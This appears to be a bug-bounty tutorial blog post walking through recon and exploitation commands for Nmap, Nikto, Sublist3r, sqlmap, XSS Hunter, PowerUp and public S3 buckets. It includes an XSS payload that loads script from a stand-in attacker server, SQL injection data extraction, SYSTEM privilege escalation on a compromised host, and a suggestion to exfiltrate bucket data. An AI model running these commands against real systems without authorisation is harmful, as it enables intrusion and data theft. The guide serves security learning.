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Introduction
Bug bounty hunting is a critical component of modern cybersecurity, allowing ethical hackers to identify vulnerabilities before malicious actors exploit them. With platforms like HackerOne and Bugcrowd offering lucrative rewards, mastering bug hunting requires a deep understanding of web security, automation, and exploitation techniques. This guide covers essential commands, tools, and methodologies for aspiring and experienced bug bounty hunters.
Learning Objectives
- Learn key Linux and Windows commands for vulnerability scanning.
- Understand how to automate reconnaissance with Python and Bash scripts.
- Master common web exploitation techniques (SQLi, XSS, CSRF).
1. Reconnaissance with Nmap
Command:
nmap -sV -A -T4 target.com -oN scan_results.txt
Step-by-Step Guide:
1. `-sV` enables service version detection.
2. `-A` enables aggressive scanning (OS detection, script scanning).
3. `-T4` speeds up the scan (adjust based on network sensitivity).
4. `-oN` saves results to a file for later analysis.
This scan identifies open ports, services, and potential vulnerabilities.
2. Web Vulnerability Scanning with Nikto
Command:
nikto -h https://target.com -output vuln_report.html
Step-by-Step Guide:
1. `-h` specifies the target host.
2. `-output` generates an HTML report for documentation.
Nikto checks for outdated servers, misconfigurations, and common web vulnerabilities.
3. Automated Subdomain Enumeration with Sublist3r
Command:
python3 sublist3r.py -d target.com -o subdomains.txt
Step-by-Step Guide:
1. `-d` sets the target domain.
2. `-o` saves discovered subdomains to a file.
Sublist3r queries multiple sources (Google, VirusTotal) to uncover hidden subdomains.
4. Exploiting SQL Injection with SQLmap
Command:
sqlmap -u "https://target.com/login?id=1" --dbs --batch
Step-by-Step Guide:
1. `-u` specifies the vulnerable URL.
2. `–dbs` retrieves available databases.
3. `–batch` automates responses for faster exploitation.
SQLmap automates SQL injection detection and data extraction.
5. Detecting XSS with XSS Hunter
Command (Deployment):
docker run -p 80:80 -d xsshunter/xsshunter
Step-by-Step Guide:
- Host the XSS Hunter service on a server.
- Inject payloads (
<script src="https://your-server.com/xss.js"></script>) into input fields.
3. Monitor the dashboard for triggered XSS callbacks.
6. Windows Privilege Escalation with PowerUp
Command (PowerShell):
Invoke-AllChecks -OutputFile priv_esc_report.txt
Step-by-Step Guide:
1. Load PowerUp in a compromised Windows session.
2. `Invoke-AllChecks` identifies misconfigurations (unquoted service paths, weak registry permissions).
3. Exploit findings to gain SYSTEM privileges.
7. Cloud Security: AWS S3 Bucket Enumeration
Command:
aws s3 ls s3://bucket-name --no-sign-request
Step-by-Step Guide:
1. `–no-sign-request` checks for publicly accessible buckets.
- If misconfigured, exfiltrate data or report the exposure.
What Undercode Say
- Automation is Key: Tools like Nmap, SQLmap, and Sublist3r drastically reduce manual effort.
- Stay Updated: New CVEs emerge daily—follow platforms like Exploit-DB and GitHub for fresh exploits.
- Ethics Matter: Always obtain permission before testing; unauthorized hacking is illegal.
Bug bounty hunting is evolving with AI-driven tools (like Burp Suite’s ML-based scanning). Future hunters will need advanced scripting skills and cloud security expertise to stay ahead.
By mastering these techniques, ethical hackers can secure systems while earning substantial rewards. 🚀
IT/Security Reporter URL:
Reported By: Basavanagoud S – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
